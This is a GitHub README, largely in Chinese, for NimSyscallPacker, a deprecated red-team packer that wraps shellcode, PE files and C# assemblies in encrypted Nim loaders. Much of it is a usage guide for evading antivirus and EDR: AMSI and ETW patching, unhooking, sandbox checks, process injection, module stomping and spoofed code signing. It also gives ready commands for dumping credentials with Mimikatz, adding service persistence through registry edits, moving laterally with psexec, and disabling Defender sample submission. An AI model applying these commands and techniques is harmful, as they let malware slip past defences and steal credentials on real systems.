S3cur3Th1sSh1t/NimSyscallPacker

GitHub: S3cur3Th1sSh1t/NimSyscallPacker

一个已弃用的红队 payload 打包工具,可将 C#、PE 或 Shellcode 加密封装为 Nim 二进制文件,提供丰富的注入与规避技术。

Stars: 200 | Forks: 33

# NimSyscallPacker / Loader 该工具在 [x33fcon](https://x33fcon.com/#!s/FabianMosch.md) 的一次演讲后公开。这是我在 2021 - 2024 年间的私人核心编码项目,目前已被视为弃用且不再维护。不要指望我会在这里修复 Bug 或更新功能。相反,[RustPack](https://msecops.de/products) 现在作为商业受控版本,提供给经过审查的 Red Teams 和 Pentesters 进行维护,它不仅功能更丰富,而且在 OPSec 上也更加安全。 这个 Packer 可用于将任何 C# Assembly、PE 文件或 Shellcode 打包进一个 Nim 二进制文件。它会加密目标 payload,根据给定的参数构建相应的 Nim 源代码,并将其编译为 Nim 二进制文件。 ### 设置说明 如果你喜欢看视频,可以在这里找到: [https://youtu.be/0PwIn3Nxmgo](https://youtu.be/0PwIn3Nxmgo) #### Windows 必须安装 Git,Nim/Nimble 才能正常工作。 已使用 **Nim 2.2.10** 以及从 Nim Windows 下载页面链接的 **MinGW-w64 GCC 11.1.0** 包进行过测试。较新的 Nim 版本在 Windows 上默认使用较高的 PE 映像基址,这会破坏 `-static` 链接,导致 `relocation truncated to fit: R_X86_64_32S against .bss` 错误;Packer 现在会强制使用 `-Wl,--image-base=0x10000` 以保持静态构建正常工作,因此任何 MinGW-w64 11.x 版本应该都没问题。此处仅支持 **x64** —— x86/`--x86`/`--wow64` 不再维护。 1. 下载 Nim 和 MinGW (x86_64): - [`nim-2.2.10_x64.zip`](https://nim-lang.org/download/nim-2.2.10_x64.zip) - [`mingw64.7z`](https://nim-lang.org/download/mingw64.7z)(从 Nim Windows 安装页面链接) 2. 使用 **7-Zip** 解压 Nim(不要使用 Windows 内置的 `Expand-Archive` —— 因为 `lib\system\` 目录的大小写冲突,它会静默丢弃 `lib\system.nim`)。Nim 的 zip 包中自带了 `bin\7zG.exe`,你可以用它来解压 MinGW。 3. 将 `\bin` 和 `\bin` 添加到你的 `%PATH%` 中。注销/登录(或重启你的 shell)以使更改生效。 4. 安装 nimble 依赖: nimble install nimcrypto@0.6.0 docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/ 已知可正常工作的版本(截至 Nim 2.2.10):`nimcrypto 0.6.0`、`docopt 0.7.1`、`ptr_math 0.3.0`、`winim 3.9.4`、`nim-strenc`(HEAD —— 该仓库没有打标签的发布版本)。 5. 禁用 Windows Defender 样本提交(否则 Packer 拒绝运行): Set-MpPreference -SubmitSamplesConsent 2 6. 编译 Packer: nim c NimSyscallLoader.nim 如果你想在 Windows 上使用 LLVM 混淆器,请使用 [denim](https://github.com/S3cur3Th1sSh1t/denim) 中包含的修改版。通过 `denim\denim.exe setup` 进行安装。 #### Linux 例如在 Kali / Debian 上。Packer 历史上要求使用 `nim 1.6.8` + `mingw-64 8.0.0-1`;由于现在内置了静态链接的 `--image-base=0x10000` 变通方案,较新的工具链应该也能工作。Windows 构建是经过积极测试的版本 —— Linux 仅尽最大努力支持。 ``` apt-get install nim mingw-w64 nimble install nimcrypto@0.6.0 docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/ ``` 如果 `--hellsgate` 在较新的 mingw-w64 上汇编失败,请降级至 `mingw-64=8.0.0-1`。 通过 `pip3 install donut-shellcode` 安装 donut。`denim` 无法在 Unix 上使用,因此此处无法通过 LLVM 进行混淆。Callobfuscator 同理。 通过 `nim c -d:noRES NimSyscallLoader.nim` 编译 Packer。准备就绪。如果不使用 -d:noRES,可能会遇到以下错误: ``` /username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler] compilation terminated. ``` #### Docker 设置 需要构建一次(第一次会花费一些时间,随后的构建将被缓存)。 `sudo docker build . -t nimsyscallloader` 然后使用以下命令运行 Packer: `sudo docker run -v $(pwd):/shared nimsyscallloader --output=/shared/packed.exe` 其中 `$(pwd)` 是宿主系统上与容器共享的目录,即存放需要加密的文件以及输出文件保存位置的目录。 #### 第三方依赖 如果你想通过 LimeLighter 使用代码签名证书,你还需要安装以下内容并将其添加到你的 %PATH% 中: openssl - (对于 Windows) 例如可以从[这里](https://slproweb.com/products/Win32OpenSSL.html)获取 osslsigncode - 例如可以从[这里](https://github.com/mtrojnar/osslsigncode/releases/tag/2.3)获取 ### 使用说明 如果你喜欢看视频,可以在这里找到: [https://youtu.be/UHaIgdzqHDA](https://youtu.be/UHaIgdzqHDA) 应大家要求,我还为一些功能添加了简短的视频演示: **Caro-Kann:** https://youtu.be/etAFZrIyb44 **ThreadlessInject 功能:** https://youtu.be/eRS-4AywrHI **Module Stomping 功能:** https://youtu.be/l-TmqqQ49UI **shellcodeURL 功能:** https://youtu.be/OYxcL4D7K0c **stegoFile 功能:** https://youtu.be/Vr58_R4rYDA **shellcodeFile 功能:** https://youtu.be/Oj55uilxEF4 **Ruy Lopez 用于本地进程** https://youtu.be/8fBkRo1zlIM **Shellcode 输出格式** https://youtu.be/ZTiZA2fg3WM **Assembly 输出功能** https://youtu.be/TDEJ-U18UIk **此外,我发布了一个公开视频,展示如何将 ThreadlessInject 技术自定义应用于默认进程之外的其他进程:** https://youtu.be/BYuAUYQcI-E ``` NimSyscall_Loader v 2.2 Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain= --environmentalKey= --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments= --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook= --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox= --domain= --pump= --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL= --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll= --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll= --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version Options: [general] -h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded [Payload retrieval options] By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from [DLL options] --dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable [evasion] --sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is www.microsoft.com) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes) [Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk] --hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique [shellcode specific] --shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread. [PE Packing] --peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE [C# assembly Packing] --csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace ``` 默认情况下,Packer 对每个 Payload 都使用沙箱规避和 AntiDebug 功能。如果你不想启用它们(例如为了移除它们的 IoCs)或出于任何其他原因,你可以使用 `--noAntidebug` 或 `--noDefaultSandBox` 标志。选项中的所有其他沙箱检查都将作为补充添加到现有检查中,而不是替换。 你们中的一些人在通过 "--file=Mimikatz --peload" 参数加载 Mimikatz 并随后在运行时发出自定义命令时遇到了问题。 我找到了这种行为的原因。不要问我为什么,但你不能直接拿 Github 上的发布版本,而是必须自己编译 Mimikatz(或构建自定义版本)并加载它而不是官方发布版。另外,对于 Mimikatz 请使用 `--noAntidebug`,否则会产生奇怪的结果(不要问我为什么,加载其他 PE 文件都很正常)。 如果你仍然想嵌入 github 上的发布版本,你可以像这样直接传递参数: ``` Packedmimikatz.exe coffee exit ``` ``` NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug ``` Donut shellcode 会被一些 AV/EDR 厂商检测到。作为 PE 加载的替代方案,我修改了我的 [Nim-RunPE](https://github.com/S3cur3Th1sSh1t/Nim-RunPe),使用 Syscalls 进行 PE 加载,并将其集成在这里: 例如,要打包 Mimikatz 并通过 syscall PE-Loader 加载它,请使用以下命令: ``` NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default) ``` 打包用于本地注入的 Shellcode: ``` NimSyscallLoader --file=shellcode.bin --noAMSI ``` 将 shellcode 加载到远程进程中: ``` NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe ``` 加载 C# assembly: ``` NimSyscallLoader --file=Seatbelt.exe --csharp ``` 带参数加载 C# assembly: ``` NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234' ``` 加载 C# assembly 并使用 hellsgate 进行 Syscall 检索: ``` NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate ``` 打包用于本地注入的 Shellcode + 使用 hellsgate + 自我删除 + 沙箱检查: ``` NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace ``` 添加数千个英语单词以绕过“机器学习”检测: ``` NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words ``` 带/不带 jumper_randomized 技术使用 Syswhispers3: ``` NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump ``` 在加密前使用 sgn 对 shellcode 进行编码: ``` NimSyscallLoader --file=calc.bin --sgn NimSyscallLoader --file=mimikatz.exe --peinject --sgn ``` 生成一个自定义进程并随后注入其中 + 在远程进程中 Patch AMSI/ETW: ``` NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW ``` 要生成 DLL 作为输出而不是可执行文件,只需添加 `--dll` 参数即可。你也可以通过 `--dllexportfunc Export1,ExportFunc2` 定义自定义导出函数。这些自定义导出也可用于 DLL 侧加载。 LLVM 描述借鉴自 [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) - 我自己还没测试过这个! **可选:** 要使用 [Obfuscator-LLVM](https://github.com/heroims/obfuscator) 标志,你必须将其与 [wclang](https://github.com/tpoechtrager/wclang) 一起安装在系统上。我发现这有点麻烦,但只要有毅力你应该就能做到。以下是在我的 Kali Linux 系统上有效的快速步骤: 1. 克隆所需版本的 Obfuscator-LLVM 并进行构建 2. 编译完成后,备份现有的 clang 版本,并将新构建的 Obfuscator-LLVM 版本的 clang 移动到 /usr/bin/ 3. 安装 wclang 并将其二进制文件添加到你的 PATH 中 4. 备份现有的 clang 库文件,将新构建的 Obfuscator-LLVM 库包含文件复制到 /usr/lib/clang/OLD_VERSION/ 此外,你必须将以下行添加到你的 `nim.cfg` 文件中,以将 nim 指向你的 wclang 二进制文件: ``` amd64.windows.clang.exe = "x86_64-w64-mingw32-clang" amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang" amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++" amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++" ``` ### Service 二进制文件 Service 二进制文件不能直接运行。它们只能用于 Windows 服务。因此,如果你使用 `--service` 编译 Service 二进制文件,你需要使用该二进制文件的路径创建一个新服务。例如,可以这样做: ``` sc.exe create Updater binpath="C:\windows\system32\service.exe" sc.exe start Updater ``` Packer 二进制文件也可用于 impacket-psexec 横向移动: ``` impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement ``` Service DLL 需要额外的配置。你可以阅读[以下博客](https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain)并进行一些注册表更改: ``` sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f ``` 此外,`Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` 中的 `DcomLaunch` 值需要调整以包含你的 Service 名称。 如果在启动 Service 时收到 ERROR 1053 错误,你很可能忘记了最后一步。 ### 使用 Packer 处理 Golang 二进制文件 遗憾的是,我自定义的 `Nim-RUNPE` 实现目前无法处理 GoLang 二进制文件。这是 Nim 中的一个奇怪 Bug,有时间得深入研究一下。这绝对是个大坑,我已经花了很多时间。 目前的权宜之计是,你可以使用 `--peinject --large` 从 golang 二进制文件生成 shellcode,以便将其作为可执行文件或 DLL 在本地执行。 示例: ``` NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe or NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll ``` 使用 DLL 时你 `必须` 传递硬编码的参数,因为 `PEInject` DLL 不接受来自目标主机的参数。远程注入也是可能的,但此处无法硬编码参数。 ### DLL 侧加载 例如,以下命令将生成一个包含原始 Windows `version.dll` API 导出的 `version.dll`: ``` NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll ``` 这可用于各种合法的签名二进制文件进行侧加载,例如 `OneDriveUpdater.exe`、`slllauncher.exe` 等。有几点很重要,你应该自己注意: * 使用带有 Exitfunction=Process 的 Shellcode 很可能导致宿主二进制文件崩溃 * 使用本地注入会导致二进制文件无法启动,因为 DLL 不会完成 C2 Payload 的执行 * 目前 C# payload 与 Nim 侧加载存在 Bug 或问题。在本地运行时,这些 payload 根本无法执行(`--csharp` 或 `--peinject`),需要调查 * 我不建议将 Nim DLL 侧加载 Payload 用于 Teams.exe - 对于某些 DLL 我在这里遇到了奇怪的行为,在许多情况下 Teams 无法再启动。同时它现在也被许多 EDR 厂商检测到了 * 在使用前请测试你的 payload。 花点时间搜索自定义的侧加载二进制文件,或者使用 [https://hijacklibs.net/](https://hijacklibs.net/) 等位置上已知并记录的一些文件。 ### 自定义图像或元数据 如果你想为你的 loader 可执行文件使用自定义图标或自定义元数据,你应该更改 resources 文件夹中的 `cmd.rc` 文件。 这可以通过 `windres cmd.rc -o cmd.o` 编译为 `cmd.o` 文件。你也可以直接用你想使用的任何其他 ICON 文件替换 `demo.ico` 文件。 对于 DLL 元数据,你可以更改 `DLL.rc`。 ### 其他熵检测或替代的沙箱规避 某些厂商(例如 ESET)会因为加密后的 Payload 作为具有高熵的 blob 存在于二进制文件中而标记这些二进制文件/DLL。这类检测和/或沙箱检查可以通过使用 `--shellcodeFile` 或--shellcodeURL` 标志来绕过,因为 Payload 不再嵌入在生成的二进制文件中,而是从单独的文件或远程 Web 服务器加载。 ### ThreadlessInject - 需要注意的事项 如果你想使用 ThreadlessInject —— 你应该清楚自己在做什么。因为它在远程进程中 hook 了一个 API,所以这种技术需要针对每个不同的远程进程进行调整。你首先需要知道远程进程通常定期调用哪些 API,才能知道要 hook 什么。例如,你可以通过 [API Monitor](http://www.rohitab.com/apimonitor) 监控常见的 Windows 进程的调用情况。根据你的目标进程调整 hook,否则 Payload 将不会执行。 默认值仅对内置的 spawn/inject `rundll32.exe` 目标有用,因为该进程会定期从 `ntdll.dll` 中调用 `NtWaitForMultipleObjects`。其他进程也会调用此函数,但这里的建议是根据你的目标进程调整选项。 ### Module Stomping - 需要注意的事项 Module Stomping 为我们提供了不再需要为 shellcode 注入分配内存的优势,因为我们覆盖的是已加载 DLL 的 `.text` 节(的一部分)。如果该 DLL 尚未在远程目标进程中加载,它将首先通过在 `LoadLibrary` 上创建远程线程被强制加载,或者在使用 ThreadlessInject 时通过指向自定义 LoadLibrary-Shellcode 的 hook 来加载。默认情况下,使用 DLL `chakra.dll` 进行 Stomping,这由于其大小在大多数情况下都是合适的。但是,你可以根据需要通过 Packer 参数更改 DLL。 为了避免 CFG,当前的实现覆盖了一个(如果启用了 Caro-Kann 则是两个)DLL 入口点: - `JsRunScript` - `MemProtectHeapUnprotectCurrentThread` 如果你更改了 DLL,你还需要更改目标函数名,因为它们可能不存在于其他 DLL 中。此外,如果存在以下任一情况,也可能会出现问题 1. 目标 DLL 的 `.text` 节中没有足够的空间存放你的 Shellcode 2. `.text` 节中两个函数之间没有足够的空间,导致第一个被第二个覆盖 我的代码没有处理这些情况,目前也没有对它们进行检查。因此,在生产环境中使用之前,你应该检查大小和偏移量以确保万无一失。 另外,这对你们中的一些人来说可能很明显,但服务器使用的 DLL 与客户端不同。因此,在针对服务器时,Loader/工具需要进行调整。 这个 Module Stomping 实现**也不会**使用带有 `DONT_RESOLVE_DLL_REFERENCES` 的 `LoadLibraryEx` 来加载 DLL。这是一种不太稳定的方式,但我仍然这样实现是为了摆脱由于使用此 API 带来的特定 IoC 的 EDR 检测。 有关更多信息,请阅读此博客文章: - [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/) ### 内存加密 目前,Packer 内置了两种内存加密技术。既可以使用 `--fluctuate` 进行 ShellcodeFluctuation,也可以使用 `--sleepycrypt` 进行 SleepyCrypt。 SleepyCrypt 不仅会加密 Shellcode,还会加密整个 PE 栈,即它的所有节。缺点是加密独立于你的 implant,并且会在固定的时间值内发生,例如 10 秒加密时间和 1 秒执行时间。这可能会导致某些 C2 框架的执行出现问题。 ### 为什么我的 MSF、CobaltStrike 或 XxX 仍然被标记? 阅读这篇: [https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/) ## 已知 Bug - 在具有较新 mingw-gcc 版本的 Linux 系统上使用 `--hellsgate` 将无法编译 - 在 Linux/Debian 上使用 `-d:noRES` 编译 Packer 以避免编译器错误 - `--syswhispers --jump` 与 `--peload` 结合使用会导致崩溃。目前我只能建议不要使用此选项,因为我不知道这种副作用从何而来 - `--obfuscate` 无法很好地处理 ASM-Stubs,因此无法使用 `--hellsgate` 或 `--syswhispers` 编译二进制文件 - XP/WS2k3 仅在使用 `--syswhispers --noAntidebug --noDInvoke` 标志时才能工作 - `--x86` / `--wow64` 不再维护,目前在捆绑的(非 multilib)MinGW-w64 工具链上已损坏。请使用 x64 构建。 - 较新的 MinGW-w64 链接器 (11+) 默认使用较高的 PE 映像基址,这会破坏 `-static` 链接并导致 `relocation truncated to fit: R_X86_64_32S against .bss` 错误。Packer 现在将 `-Wl,--image-base=0x10000` 传递给生成的 Loader 编译命令以解决此问题。如果你使用此技术栈构建独立的 Nim+静态二进制文件,你可能需要使用相同的标志。 ## 待办事项 - [x] 通过 syscalls 实现 PELoader - [x] Hellsgate 支持 - [X] 仅加载所需的 Winim 库 - [x] 基于 [SnD_AMSI](https://github.com/whydee86/SnD_AMSI) 的远程进程 AMSI/ETW Patching - [X] 使用 Syscalls 进行远程 patching - [X] 在 patching 之前将“待 patch”的 DLL(ntdll 或 amsi.dll)远程加载到远程进程中(否则对我们没有帮助) - [x] 用于远程 shellcode 注入 + PELoading 的 Hellsgate 支持 - [X] DLL 输出 - [X] DLL 侧加载功能 - [X] Powershell 输出 - [X] C# 输出 - [X] 为 win32 函数增加更多 syscalls 或 D/Invoke - [X] Cobalt Strike 集成 - CNA - [ ] 通过操作 PEB 字段传递参数(类似于命令行欺骗) - [X] 通过 API 导入函数 patching 传递参数 - [X] 通过 Sleep Hook 进行 Shellcode 内存加密 [类似于 ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation) - [X] 在进程创建并加载 EDR 的 hooks 之后,调用 'GetConsoleWindow' 和 'ShowWindow' Windows 函数,然后将窗口属性更改为隐藏,而不是使用 GUI 编译标志 - [X] 在一些潜在的关键 stubs 之间增加更多的 sleeps - [X] 定义自定义远程进程,以便在注入之前生成它(目前它被硬编码为 notepad) - [X] 为新创建的进程进行 PPID 欺骗 - [X] 针对新进程的 BlockDLLs - [X] Patchless AMSI 绕过(例如 https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf) - [X] 通过 NtCreateSection Hook 绕过 AMSI(例如 https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) - [X] 针对 EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull 的更多 ETW Patching - [X] Service 二进制文件支持,如 https://github.com/enthus1ast/nimWindowsService/ - [X] 通过 process attach 实现 DLLMain 的 DLL 劫持开关 - [X] 修复 x86 强制转换 bug - [ ] Wow64 支持 - [X] 在中间添加 `--pump` 空字节,如 https://gitlab.com/ORCA000/entropyfix(需要测试,可能会导致崩溃) - [X] CPL 输出文件 - [ ] 诱饵 HTTP 请求选项 - [X] 从 Web 服务器下载 Shellcode 或从本地文件读取,作为嵌入(默认)的替代方案 - [X] 使用更多的编译器标志覆盖 